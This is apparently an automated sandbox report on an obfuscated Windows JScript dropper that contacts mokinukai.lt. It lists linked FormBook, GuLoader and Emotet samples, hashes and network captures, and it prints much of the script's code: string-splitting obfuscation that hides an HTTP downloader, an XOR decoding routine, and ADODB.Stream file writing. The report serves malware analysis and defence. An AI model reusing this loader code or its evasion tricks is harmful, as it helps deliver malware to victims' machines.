Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: G9Z66ZF3Y370FN9E.js

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
79.98.25.1	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/udud/
	Bootblacks.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/udud/
	Brudstyrken.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/8cwt/
	Mekanikken.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/udud/
	Nondesistance.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/udud/
	Forfaldendes253.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/udud/
	Request for Quotation # 3200025006.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/ntpp/
	Telescribe.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/udud/
	Request for Quotation # 3200025006.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.maxiwalls.com/ntpp/
	WaybillDoc_43948767.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.povipa.com/gzu1/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RACKRAYUABRakrejusLT	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	176.223.128.227
	ExeFile (278).exe	Get hash	malicious	Emotet	Browse	94.176.234.118
	ExeFile (305).exe	Get hash	malicious	Emotet	Browse	94.176.234.118
	ExeFile (317).exe	Get hash	malicious	Emotet	Browse	79.98.24.39
	ExeFile (323).exe	Get hash	malicious	Emotet	Browse	94.176.234.118
	ExeFile (347).exe	Get hash	malicious	Emotet	Browse	94.176.234.118
	ExeFile (349).exe	Get hash	malicious	Emotet	Browse	94.176.234.118
	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	79.98.24.39
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	79.98.24.39
	ExeFile (369).exe	Get hash	malicious	Emotet	Browse	94.176.234.118

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	5615
Entropy (8bit):	4.847364171096454
Encrypted:	false
SSDEEP:	96:0tqsXgUjV0VxaIYXpYTqaqaqaq5qaqaqGqaqaqaq0rzRjijyJ:qqsXgOuVxamqaqaqaq5qaqaqGqaqaqaL
MD5:	8DA3CDAF2997BAFDCE68FDDB2E51569F
SHA1:	529822AE6A86831D3706033CBFF2C2AD1DE4335B
SHA-256:	26D2BB17343D7468329084A3D18A4238A8C431A50428A5203D091DEB4295224B
SHA-512:	76F47EFA8A6C3AB2B6D03E2B1CF289536B28309E227E169115D47296090C38FA1926202C3266065B08DCFA2BB0D6C818DFE65A5D562AD0EF804F34B4D3CE7389
Malicious:	false
Reputation:	low
Preview:	<!doctype html>..<html>.. <head>.. <meta http-equiv="content-type" content="text/html; charset=utf-8">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=800, maximum-scale=1">.. <meta name="theme-color" content="#005ca3">.. <meta itemprop="image" content="https://assets.iv.lt/images/thumbnail.png">.. <meta property="og:image" content="https://assets.iv.lt/images/thumbnail.png">.. <link rel="icon" sizes="96x96" href="https://assets.iv.lt/images/icon.png">.. <link rel="apple-touch-icon" href="https://assets.iv.lt/images/icon.png">.. <link rel="stylesheet" type="text/css" href="https://assets.iv.lt/default.css">.. <title>mokinukai.lt - U.registruotas domenas - Interneto vizija</title>.. </head>.. <body>.... begin header -->.... <table align=center cellpadding=0 cellspacing=0>.. <tr>.. <td>.. <iframe src="https://assets.iv.lt/header.html" width=768 height=100 scrolling=no frameborder=0></iframe>.. </td>.. </tr>.. <tr><

Static File Info

General

File type:	ASCII text, with very long lines (350)
Entropy (8bit):	5.2335269014862025
TrID:
File name:	G9Z66ZF3Y370FN9E.js
File size:	15'042 bytes
MD5:	b4b15b179e04cc1c1c41912139cf5495
SHA1:	5ecd8c64642adaf1e3a351ce1691308548ff081e
SHA256:	281d7a64e1556e677d4c355bd7521ce7d1e9265e27cd255ca9f530114dde9e37
SHA512:	84c10c59428237fa81fc34bdbf098cb6ec996fa1191010d7d8df4d7ce2a2eb50cfecf6cdc2fccea4adb8b73f9fc2148832ac8684661a5438f38b7c717f86ea60
SSDEEP:	192:EXC3ekwywu6AZSLMGeTUz6/N0agxHNikebDlmQAMgtM7AFQMjRRIwk:EBwB6zeFkH4NflmQAMgGMNOV
TLSH:	0F6296B73750AA64ED9C62CD7FFBDE2E04E46812738993571A36CA6093933820FA4457
File Content Preview:	String.prototype.DeadAstronautInSpaceBXv3 = function () {return this.split(",").join("");};.//BEGIN_CODEC_PART.function DeadAstronautInSpaceUr8(DeadAstronautInSpaceZJh1).{var DeadAstronautInSpaceALf3=new Array();.DeadAstronautInSpaceALf3[199]=128;DeadAstr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 11:06:14.645662069 CEST	49704	80	192.168.2.5	79.98.25.1
Oct 25, 2024 11:06:14.651588917 CEST	80	49704	79.98.25.1	192.168.2.5
Oct 25, 2024 11:06:14.651671886 CEST	49704	80	192.168.2.5	79.98.25.1
Oct 25, 2024 11:06:14.652129889 CEST	49704	80	192.168.2.5	79.98.25.1
Oct 25, 2024 11:06:14.658025980 CEST	80	49704	79.98.25.1	192.168.2.5
Oct 25, 2024 11:06:15.522913933 CEST	80	49704	79.98.25.1	192.168.2.5
Oct 25, 2024 11:06:15.522928953 CEST	80	49704	79.98.25.1	192.168.2.5
Oct 25, 2024 11:06:15.523118973 CEST	49704	80	192.168.2.5	79.98.25.1
Oct 25, 2024 11:06:15.526563883 CEST	49704	80	192.168.2.5	79.98.25.1
Oct 25, 2024 11:06:15.532459021 CEST	80	49704	79.98.25.1	192.168.2.5
Oct 25, 2024 11:06:15.532527924 CEST	49704	80	192.168.2.5	79.98.25.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 11:06:14.575120926 CEST	65015	53	192.168.2.5	1.1.1.1
Oct 25, 2024 11:06:14.639579058 CEST	53	65015	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 11:06:14.575120926 CEST	192.168.2.5	1.1.1.1	0x4f3e	Standard query (0)	mokinukai.lt	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 11:06:14.639579058 CEST	1.1.1.1	192.168.2.5	0x4f3e	No error (0)	mokinukai.lt		79.98.25.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mokinukai.lt

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	79.98.25.1	80	1896	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:06:14.652129889 CEST	216	OUT	GET /x4szqe HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: mokinukai.lt Connection: Keep-Alive
Oct 25, 2024 11:06:15.522913933 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:06:15 GMT Server: Apache Cache-control: max-age=300 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1756 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d5 58 bb 92 1b c7 15 cd 5d e5 7f 68 c1 89 24 ef 00 d8 a5 48 2d 29 00 2e bb 56 65 b3 4c b2 60 d1 54 ea 6a 60 1a c0 c5 f4 74 8f fb 81 25 18 39 71 e8 c8 c1 96 c3 8d 19 2a 57 b4 f8 11 7f 89 cf 9d 07 30 0b 80 8f 02 e5 57 34 3d d3 dd e7 3e fa 3e 4e cf e0 b3 d4 4e c3 ba 50 62 11 72 3d fa f9 cf 06 f5 53 0c 16 4a a6 3c 10 83 5c 05 89 f9 50 24 ea cf 91 56 c3 ce d4 9a a0 4c 48 78 63 47 d4 6f c3 4e 50 af 43 8f f7 7f 23 a6 0b e9 bc 0a c3 18 66 c9 65 a7 05 63 64 ae 86 1d 67 27 36 f8 d6 56 63 c9 a4 ea f5 99 30 76 66 b5 b6 d7 87 7b 56 a4 ae 0b eb 42 6b d7 35 a5 61 31 bc ec f7 cf 44 2e 5f 53 1e f3 c4 4f a5 56 c3 f3 c3 ed 61 a1 72 95 4c ad b6 ae 85 f0 8b 7e ff e1 54 3e 68 2f a7 a0 f2 c2 d9 62 d8 a1 5c ce db f6 b1 0b fc 93 5e 4f 7a 98 e6 bb b4 ea ea d0 2b 17 f9 5e 58 c4 7c 62 24 e9 6e 61 e6 6d 38 86 52 2e ac 87 1d 3b 7f f2 a9 88 9a 4c 26 9c d2 d0 0d 18 1d e1 e9 8d f2 c3 ce e3 47 af 1f 3f ea 88 85 53 b3 f7 63 f2 ae a3 70 b2 28 b4 4a 82 8d d3 45 52 41 7f 02 98 0f 6b ad fc 42 29 9c 15 87 48 [TRUNCATED] Data Ascii: X]h$H-).VeL`Tj`t%9qW0W4=>>NNPbr=SJ<\P$VLHxcGoNPC#fecdg'6Vc0vf{VBk5a1D._SOVarL~T>h/b\^Oz+^X\|b$nam8R.;L&G?Scp(JERAkB)HS:ty](h5mF&fH$G6H/R+g"`RzGsk%TN$I9D+!5pWLLS2a\|oFi=9n+]"GP0<:K2Vpk$cvjAQj6ve=<;Nc{G;7T-vzU2H,D^d`K '6@GvH~`!^UE1KT.G\^Xz$STm}\Fn#Oh2F!BHZ~B7U_6?xJT}HysZEC(9T1:92ky7"$r+<B}1sA3ErG!cf:duRd>^+`dWPcn"c>pXz4se~!c?Gc!6oSZnz>JPOitV]GlFv-U"0r"3l7@1gD9KcDBmX
Oct 25, 2024 11:06:15.522928953 CEST	748	IN	Data Raw: e1 d6 48 22 2b 32 69 a4 e6 43 41 e4 ce 43 59 42 95 5b 29 b7 5e aa 43 ef 5f 21 bc 10 3d 82 ed ba e8 73 fe 41 11 96 0b f3 fc 99 90 31 e3 74 13 db d0 95 05 22 de c8 15 e5 10 64 b3 f5 e4 ee e6 4c 68 69 32 1f 60 35 c7 13 07 2c 63 e0 23 5c 52 c6 58 70 Data Ascii: H"+2iCACYB[)^C_!=sA1t"dLhi2`5,c#\RXpT"Mw79d/sexaTg;%P)K",[xW#qWUFO6mu-_\;x+C8/uW"8t]}3Z)Z~2^(Gf

Target ID:	0
Start time:	05:06:13
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\G9Z66ZF3Y370FN9E.js"
Imagebase:	0x7ff78b190000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	String.prototype.DeadAstronautInSpaceBXv3 =
1	function () {	"M,S,X,M,L,2,.,X,M,L,H,T,T,P".DeadAstronautInSpaceBXv3() ➔ "MSXML2.XMLHTTP" "G,E,T".DeadAstronautInSpaceBXv3() ➔ "GET" "s,e,n,d".DeadAstronautInSpaceBXv3() ➔ "send"
2	return this.split ( "," ).join ( "" );	M,S,X,M,L,2,.,X,M,L,H,T,T,P.split(",") ➔ M,S,X,M,L,2,.,X,M,L,H,T,T,P M,S,X,M,L,2,.,X,M,L,H,T,T,P.join("") ➔ "MSXML2.XMLHTTP" G,E,T.split(",") ➔ G,E,T G,E,T.join("") ➔ "GET" s,e,n,d.split(",") ➔ s,e,n,d s,e,n,d.join("") ➔ "send"
3	};
4	function DeadAstronautInSpaceUr8(DeadAstronautInSpaceZJh1) {
5	var DeadAstronautInSpaceALf3 = new Array ( );
6	DeadAstronautInSpaceALf3[199] = 128;
7	DeadAstronautInSpaceALf3[252] = 129;
8	DeadAstronautInSpaceALf3[233] = 130;
9	DeadAstronautInSpaceALf3[226] = 131;
10	DeadAstronautInSpaceALf3[228] = 132;
11	DeadAstronautInSpaceALf3[224] = 133;
12	DeadAstronautInSpaceALf3[229] = 134;
13	DeadAstronautInSpaceALf3[231] = 135;
14	DeadAstronautInSpaceALf3[234] = 136;
15	DeadAstronautInSpaceALf3[235] = 137;
16	DeadAstronautInSpaceALf3[232] = 138;
17	DeadAstronautInSpaceALf3[239] = 139;
18	DeadAstronautInSpaceALf3[238] = 140;
19	DeadAstronautInSpaceALf3[236] = 141;
20	DeadAstronautInSpaceALf3[196] = 142;
21	DeadAstronautInSpaceALf3[197] = 143;
22	DeadAstronautInSpaceALf3[201] = 144;
23	DeadAstronautInSpaceALf3[230] = 145;
24	DeadAstronautInSpaceALf3[198] = 146;
25	DeadAstronautInSpaceALf3[244] = 147;
26	DeadAstronautInSpaceALf3[246] = 148;
27	DeadAstronautInSpaceALf3[242] = 149;
28	DeadAstronautInSpaceALf3[251] = 150;
29	DeadAstronautInSpaceALf3[249] = 151;
30	DeadAstronautInSpaceALf3[255] = 152;
31	DeadAstronautInSpaceALf3[214] = 153;
32	DeadAstronautInSpaceALf3[220] = 154;
33	DeadAstronautInSpaceALf3[162] = 155;
34	DeadAstronautInSpaceALf3[163] = 156;
35	DeadAstronautInSpaceALf3[165] = 157;
36	DeadAstronautInSpaceALf3[8359] = 158;
37	DeadAstronautInSpaceALf3[402] = 159;
38	DeadAstronautInSpaceALf3[225] = 160;
39	DeadAstronautInSpaceALf3[237] = 161;
40	DeadAstronautInSpaceALf3[243] = 162;
41	DeadAstronautInSpaceALf3[250] = 163;
42	DeadAstronautInSpaceALf3[241] = 164;
43	DeadAstronautInSpaceALf3[209] = 165;
44	DeadAstronautInSpaceALf3[170] = 166;
45	DeadAstronautInSpaceALf3[186] = 167;
46	DeadAstronautInSpaceALf3[191] = 168;
47	DeadAstronautInSpaceALf3[8976] = 169;
48	DeadAstronautInSpaceALf3[172] = 170;
49	DeadAstronautInSpaceALf3[189] = 171;
50	DeadAstronautInSpaceALf3[188] = 172;
51	DeadAstronautInSpaceALf3[161] = 173;
52	DeadAstronautInSpaceALf3[171] = 174;
53	DeadAstronautInSpaceALf3[187] = 175;
54	DeadAstronautInSpaceALf3[9617] = 176;
55	DeadAstronautInSpaceALf3[9618] = 177;
56	DeadAstronautInSpaceALf3[9619] = 178;
57	DeadAstronautInSpaceALf3[9474] = 179;
58	DeadAstronautInSpaceALf3[9508] = 180;
59	DeadAstronautInSpaceALf3[9569] = 181;
60	DeadAstronautInSpaceALf3[9570] = 182;
61	DeadAstronautInSpaceALf3[9558] = 183;
62	DeadAstronautInSpaceALf3[9557] = 184;
63	DeadAstronautInSpaceALf3[9571] = 185;
64	DeadAstronautInSpaceALf3[9553] = 186;
65	DeadAstronautInSpaceALf3[9559] = 187;
66	DeadAstronautInSpaceALf3[9565] = 188;
67	DeadAstronautInSpaceALf3[9564] = 189;
68	DeadAstronautInSpaceALf3[9563] = 190;
69	DeadAstronautInSpaceALf3[9488] = 191;
70	DeadAstronautInSpaceALf3[9492] = 192;
71	DeadAstronautInSpaceALf3[9524] = 193;
72	DeadAstronautInSpaceALf3[9516] = 194;
73	DeadAstronautInSpaceALf3[9500] = 195;
74	DeadAstronautInSpaceALf3[9472] = 196;
75	DeadAstronautInSpaceALf3[9532] = 197;
76	DeadAstronautInSpaceALf3[9566] = 198;
77	DeadAstronautInSpaceALf3[9567] = 199;
78	DeadAstronautInSpaceALf3[9562] = 200;
79	DeadAstronautInSpaceALf3[9556] = 201;
80	DeadAstronautInSpaceALf3[9577] = 202;
81	DeadAstronautInSpaceALf3[9574] = 203;
82	DeadAstronautInSpaceALf3[9568] = 204;
83	DeadAstronautInSpaceALf3[9552] = 205;
84	DeadAstronautInSpaceALf3[9580] = 206;
85	DeadAstronautInSpaceALf3[9575] = 207;
86	DeadAstronautInSpaceALf3[9576] = 208;
87	DeadAstronautInSpaceALf3[9572] = 209;
88	DeadAstronautInSpaceALf3[9573] = 210;
89	DeadAstronautInSpaceALf3[9561] = 211;
90	DeadAstronautInSpaceALf3[9560] = 212;
91	DeadAstronautInSpaceALf3[9554] = 213;
92	DeadAstronautInSpaceALf3[9555] = 214;
93	DeadAstronautInSpaceALf3[9579] = 215;
94	DeadAstronautInSpaceALf3[9578] = 216;
95	DeadAstronautInSpaceALf3[9496] = 217;
96	DeadAstronautInSpaceALf3[9484] = 218;
97	DeadAstronautInSpaceALf3[9608] = 219;
98	DeadAstronautInSpaceALf3[9604] = 220;
99	DeadAstronautInSpaceALf3[9612] = 221;
100	DeadAstronautInSpaceALf3[9616] = 222;
101	DeadAstronautInSpaceALf3[9600] = 223;
102	DeadAstronautInSpaceALf3[945] = 224;
103	DeadAstronautInSpaceALf3[223] = 225;
104	DeadAstronautInSpaceALf3[915] = 226;
105	DeadAstronautInSpaceALf3[960] = 227;
106	DeadAstronautInSpaceALf3[931] = 228;
107	DeadAstronautInSpaceALf3[963] = 229;
108	DeadAstronautInSpaceALf3[181] = 230;
109	DeadAstronautInSpaceALf3[964] = 231;
110	DeadAstronautInSpaceALf3[934] = 232;
111	DeadAstronautInSpaceALf3[920] = 233;
112	DeadAstronautInSpaceALf3[937] = 234;
113	DeadAstronautInSpaceALf3[948] = 235;
114	DeadAstronautInSpaceALf3[8734] = 236;
115	DeadAstronautInSpaceALf3[966] = 237;
116	DeadAstronautInSpaceALf3[949] = 238;
117	DeadAstronautInSpaceALf3[8745] = 239;
118	DeadAstronautInSpaceALf3[8801] = 240;
119	DeadAstronautInSpaceALf3[177] = 241;
120	DeadAstronautInSpaceALf3[8805] = 242;
121	DeadAstronautInSpaceALf3[8804] = 243;
122	DeadAstronautInSpaceALf3[8992] = 244;
123	DeadAstronautInSpaceALf3[8993] = 245;
124	DeadAstronautInSpaceALf3[247] = 246;
125	DeadAstronautInSpaceALf3[8776] = 247;
126	DeadAstronautInSpaceALf3[176] = 248;
127	DeadAstronautInSpaceALf3[8729] = 249;
128	DeadAstronautInSpaceALf3[183] = 250;
129	DeadAstronautInSpaceALf3[8730] = 251;
130	DeadAstronautInSpaceALf3[8319] = 252;
131	DeadAstronautInSpaceALf3[178] = 253;
132	DeadAstronautInSpaceALf3[9632] = 254;
133	DeadAstronautInSpaceALf3[160] = 255;
134	var DeadAstronautInSpaceLo1 = new Array ( );
135	for ( var DeadAstronautInSpaceJNh5 = 0 ; DeadAstronautInSpaceJNh5 < DeadAstronautInSpaceZJh1.length ; DeadAstronautInSpaceJNh5 += 1 )
136	{
137	var DeadAstronautInSpaceKw5 = DeadAstronautInSpaceZJh1["charCodeAt"] ( DeadAstronautInSpaceJNh5 );
138	if ( DeadAstronautInSpaceKw5 < 128 )
139	{
140	var DeadAstronautInSpaceJk5 = DeadAstronautInSpaceKw5;
141	}
142	else
143	{
144	var DeadAstronautInSpaceJk5 = DeadAstronautInSpaceALf3[DeadAstronautInSpaceKw5];
145	}
146	DeadAstronautInSpaceLo1["push"] ( DeadAstronautInSpaceJk5 );
147	}
148	;
149	return DeadAstronautInSpaceLo1;
150	}
151	function DeadAstronautInSpaceTXd7(DeadAstronautInSpaceDBv4) {
152	var DeadAstronautInSpaceLVr2 = new Array ( );
153	DeadAstronautInSpaceLVr2[128] = 199;
154	DeadAstronautInSpaceLVr2[129] = 252;
155	DeadAstronautInSpaceLVr2[130] = 233;
156	DeadAstronautInSpaceLVr2[131] = 226;
157	DeadAstronautInSpaceLVr2[132] = 228;
158	DeadAstronautInSpaceLVr2[133] = 224;
159	DeadAstronautInSpaceLVr2[134] = 229;
160	DeadAstronautInSpaceLVr2[135] = 231;
161	DeadAstronautInSpaceLVr2[136] = 234;
162	DeadAstronautInSpaceLVr2[137] = 235;
163	DeadAstronautInSpaceLVr2[138] = 232;
164	DeadAstronautInSpaceLVr2[139] = 239;
165	DeadAstronautInSpaceLVr2[140] = 238;
166	DeadAstronautInSpaceLVr2[141] = 236;
167	DeadAstronautInSpaceLVr2[142] = 196;
168	DeadAstronautInSpaceLVr2[143] = 197;
169	DeadAstronautInSpaceLVr2[144] = 201;
170	DeadAstronautInSpaceLVr2[145] = 230;
171	DeadAstronautInSpaceLVr2[146] = 198;
172	DeadAstronautInSpaceLVr2[147] = 244;
173	DeadAstronautInSpaceLVr2[148] = 246;
174	DeadAstronautInSpaceLVr2[149] = 242;
175	DeadAstronautInSpaceLVr2[150] = 251;
176	DeadAstronautInSpaceLVr2[151] = 249;
177	DeadAstronautInSpaceLVr2[152] = 255;
178	DeadAstronautInSpaceLVr2[153] = 214;
179	DeadAstronautInSpaceLVr2[154] = 220;
180	DeadAstronautInSpaceLVr2[155] = 162;
181	DeadAstronautInSpaceLVr2[156] = 163;
182	DeadAstronautInSpaceLVr2[157] = 165;
183	DeadAstronautInSpaceLVr2[158] = 8359;
184	DeadAstronautInSpaceLVr2[159] = 402;
185	DeadAstronautInSpaceLVr2[160] = 225;
186	DeadAstronautInSpaceLVr2[161] = 237;
187	DeadAstronautInSpaceLVr2[162] = 243;
188	DeadAstronautInSpaceLVr2[163] = 250;
189	DeadAstronautInSpaceLVr2[164] = 241;
190	DeadAstronautInSpaceLVr2[165] = 209;
191	DeadAstronautInSpaceLVr2[166] = 170;
192	DeadAstronautInSpaceLVr2[167] = 186;
193	DeadAstronautInSpaceLVr2[168] = 191;
194	DeadAstronautInSpaceLVr2[169] = 8976;
195	DeadAstronautInSpaceLVr2[170] = 172;
196	DeadAstronautInSpaceLVr2[171] = 189;
197	DeadAstronautInSpaceLVr2[172] = 188;
198	DeadAstronautInSpaceLVr2[173] = 161;
199	DeadAstronautInSpaceLVr2[174] = 171;
200	DeadAstronautInSpaceLVr2[175] = 187;
201	DeadAstronautInSpaceLVr2[176] = 9617;
202	DeadAstronautInSpaceLVr2[177] = 9618;
203	DeadAstronautInSpaceLVr2[178] = 9619;
204	DeadAstronautInSpaceLVr2[179] = 9474;
205	DeadAstronautInSpaceLVr2[180] = 9508;
206	DeadAstronautInSpaceLVr2[181] = 9569;
207	DeadAstronautInSpaceLVr2[182] = 9570;
208	DeadAstronautInSpaceLVr2[183] = 9558;
209	DeadAstronautInSpaceLVr2[184] = 9557;
210	DeadAstronautInSpaceLVr2[185] = 9571;
211	DeadAstronautInSpaceLVr2[186] = 9553;
212	DeadAstronautInSpaceLVr2[187] = 9559;
213	DeadAstronautInSpaceLVr2[188] = 9565;
214	DeadAstronautInSpaceLVr2[189] = 9564;
215	DeadAstronautInSpaceLVr2[190] = 9563;
216	DeadAstronautInSpaceLVr2[191] = 9488;
217	DeadAstronautInSpaceLVr2[192] = 9492;
218	DeadAstronautInSpaceLVr2[193] = 9524;
219	DeadAstronautInSpaceLVr2[194] = 9516;
220	DeadAstronautInSpaceLVr2[195] = 9500;
221	DeadAstronautInSpaceLVr2[196] = 9472;
222	DeadAstronautInSpaceLVr2[197] = 9532;
223	DeadAstronautInSpaceLVr2[198] = 9566;
224	DeadAstronautInSpaceLVr2[199] = 9567;
225	DeadAstronautInSpaceLVr2[200] = 9562;
226	DeadAstronautInSpaceLVr2[201] = 9556;
227	DeadAstronautInSpaceLVr2[202] = 9577;
228	DeadAstronautInSpaceLVr2[203] = 9574;
229	DeadAstronautInSpaceLVr2[204] = 9568;
230	DeadAstronautInSpaceLVr2[205] = 9552;
231	DeadAstronautInSpaceLVr2[206] = 9580;
232	DeadAstronautInSpaceLVr2[207] = 9575;
233	DeadAstronautInSpaceLVr2[208] = 9576;
234	DeadAstronautInSpaceLVr2[209] = 9572;
235	DeadAstronautInSpaceLVr2[210] = 9573;
236	DeadAstronautInSpaceLVr2[211] = 9561;
237	DeadAstronautInSpaceLVr2[212] = 9560;
238	DeadAstronautInSpaceLVr2[213] = 9554;
239	DeadAstronautInSpaceLVr2[214] = 9555;
240	DeadAstronautInSpaceLVr2[215] = 9579;
241	DeadAstronautInSpaceLVr2[216] = 9578;
242	DeadAstronautInSpaceLVr2[217] = 9496;
243	DeadAstronautInSpaceLVr2[218] = 9484;
244	DeadAstronautInSpaceLVr2[219] = 9608;
245	DeadAstronautInSpaceLVr2[220] = 9604;
246	DeadAstronautInSpaceLVr2[221] = 9612;
247	DeadAstronautInSpaceLVr2[222] = 9616;
248	DeadAstronautInSpaceLVr2[223] = 9600;
249	DeadAstronautInSpaceLVr2[224] = 945;
250	DeadAstronautInSpaceLVr2[225] = 223;
251	DeadAstronautInSpaceLVr2[226] = 915;
252	DeadAstronautInSpaceLVr2[227] = 960;
253	DeadAstronautInSpaceLVr2[228] = 931;
254	DeadAstronautInSpaceLVr2[229] = 963;
255	DeadAstronautInSpaceLVr2[230] = 181;
256	DeadAstronautInSpaceLVr2[231] = 964;
257	DeadAstronautInSpaceLVr2[232] = 934;
258	DeadAstronautInSpaceLVr2[233] = 920;
259	DeadAstronautInSpaceLVr2[234] = 937;
260	DeadAstronautInSpaceLVr2[235] = 948;
261	DeadAstronautInSpaceLVr2[236] = 8734;
262	DeadAstronautInSpaceLVr2[237] = 966;
263	DeadAstronautInSpaceLVr2[238] = 949;
264	DeadAstronautInSpaceLVr2[239] = 8745;
265	DeadAstronautInSpaceLVr2[240] = 8801;
266	DeadAstronautInSpaceLVr2[241] = 177;
267	DeadAstronautInSpaceLVr2[242] = 8805;
268	DeadAstronautInSpaceLVr2[243] = 8804;
269	DeadAstronautInSpaceLVr2[244] = 8992;
270	DeadAstronautInSpaceLVr2[245] = 8993;
271	DeadAstronautInSpaceLVr2[246] = 247;
272	DeadAstronautInSpaceLVr2[247] = 8776;
273	DeadAstronautInSpaceLVr2[248] = 176;
274	DeadAstronautInSpaceLVr2[249] = 8729;
275	DeadAstronautInSpaceLVr2[250] = 183;
276	DeadAstronautInSpaceLVr2[251] = 8730;
277	DeadAstronautInSpaceLVr2[252] = 8319;
278	DeadAstronautInSpaceLVr2[253] = 178;
279	DeadAstronautInSpaceLVr2[254] = 9632;
280	DeadAstronautInSpaceLVr2[255] = 160;
281	var DeadAstronautInSpaceYIs6 = new Array ( );
282	var DeadAstronautInSpaceMo9 = "";
283	var DeadAstronautInSpaceJk5;
284	var DeadAstronautInSpaceKw5;
285	for ( var DeadAstronautInSpaceJNh5 = 0 ; DeadAstronautInSpaceJNh5 < DeadAstronautInSpaceDBv4.length ; DeadAstronautInSpaceJNh5 += 1 )
286	{
287	DeadAstronautInSpaceJk5 = DeadAstronautInSpaceDBv4[DeadAstronautInSpaceJNh5];
288	if ( DeadAstronautInSpaceJk5 < 128 )
289	{
290	DeadAstronautInSpaceKw5 = DeadAstronautInSpaceJk5;
291	}
292	else
293	{
294	DeadAstronautInSpaceKw5 = DeadAstronautInSpaceLVr2[DeadAstronautInSpaceJk5];
295	}
296	DeadAstronautInSpaceYIs6.push ( String["fromCharCode"] ( DeadAstronautInSpaceKw5 ) );
297	}
298	DeadAstronautInSpaceMo9 = DeadAstronautInSpaceYIs6["join"] ( "" );
299	return DeadAstronautInSpaceMo9;
300	}
301	function DeadAstronautInSpaceVJq2(DeadAstronautInSpaceDBv4, DeadAstronautInSpaceIr0) {
302	var DeadAstronautInSpacePy8 = DeadAstronautInSpaceUr8 ( DeadAstronautInSpaceIr0 );
303	for ( var DeadAstronautInSpaceJNh5 = 0 ; DeadAstronautInSpaceJNh5 < DeadAstronautInSpaceDBv4.length ; DeadAstronautInSpaceJNh5 += 1 )
304	{
305	DeadAstronautInSpaceDBv4[DeadAstronautInSpaceJNh5] ^= DeadAstronautInSpacePy8[DeadAstronautInSpaceJNh5 % DeadAstronautInSpacePy8.length];
306	}
307	;
308	return DeadAstronautInSpaceDBv4;
309	}
310	function DeadAstronautInSpaceTk1(DeadAstronautInSpaceGk5) {
311	var DeadAstronautInSpaceOt8 = new ActiveXObject ( "A" + "D" + "O" + "DB.Stream" );
312	DeadAstronautInSpaceOt8.type = 2;
313	DeadAstronautInSpaceOt8["Charset"] = "437";
314	DeadAstronautInSpaceOt8["open"] ( );
315	DeadAstronautInSpaceOt8["LoadFromFile"] ( DeadAstronautInSpaceGk5 );
316	var DeadAstronautInSpaceOFv8 = DeadAstronautInSpaceOt8["ReadText"];
317	DeadAstronautInSpaceOt8["close"] ( );
318	return DeadAstronautInSpaceUr8 ( DeadAstronautInSpaceOFv8 );
319	}
320	function DeadAstronautInSpaceIHf0(DeadAstronautInSpaceGk5, DeadAstronautInSpaceDBv4) {
321	var DeadAstronautInSpaceOt8 = new ActiveXObject ( "A" + "D" + "O" + "DB.Stream" );
322	DeadAstronautInSpaceOt8.type = 2;
323	DeadAstronautInSpaceOt8["Charset"] = "437";
324	DeadAstronautInSpaceOt8["open"] ( );
325	DeadAstronautInSpaceOt8["writeText"] ( DeadAstronautInSpaceTXd7 ( DeadAstronautInSpaceDBv4 ) );
326	DeadAstronautInSpaceOt8["SaveToFile"] ( DeadAstronautInSpaceGk5, 2 );
327	DeadAstronautInSpaceOt8["close"] ( );
328	}
329	var DeadAstronautInSpaceTz0 = "http://";
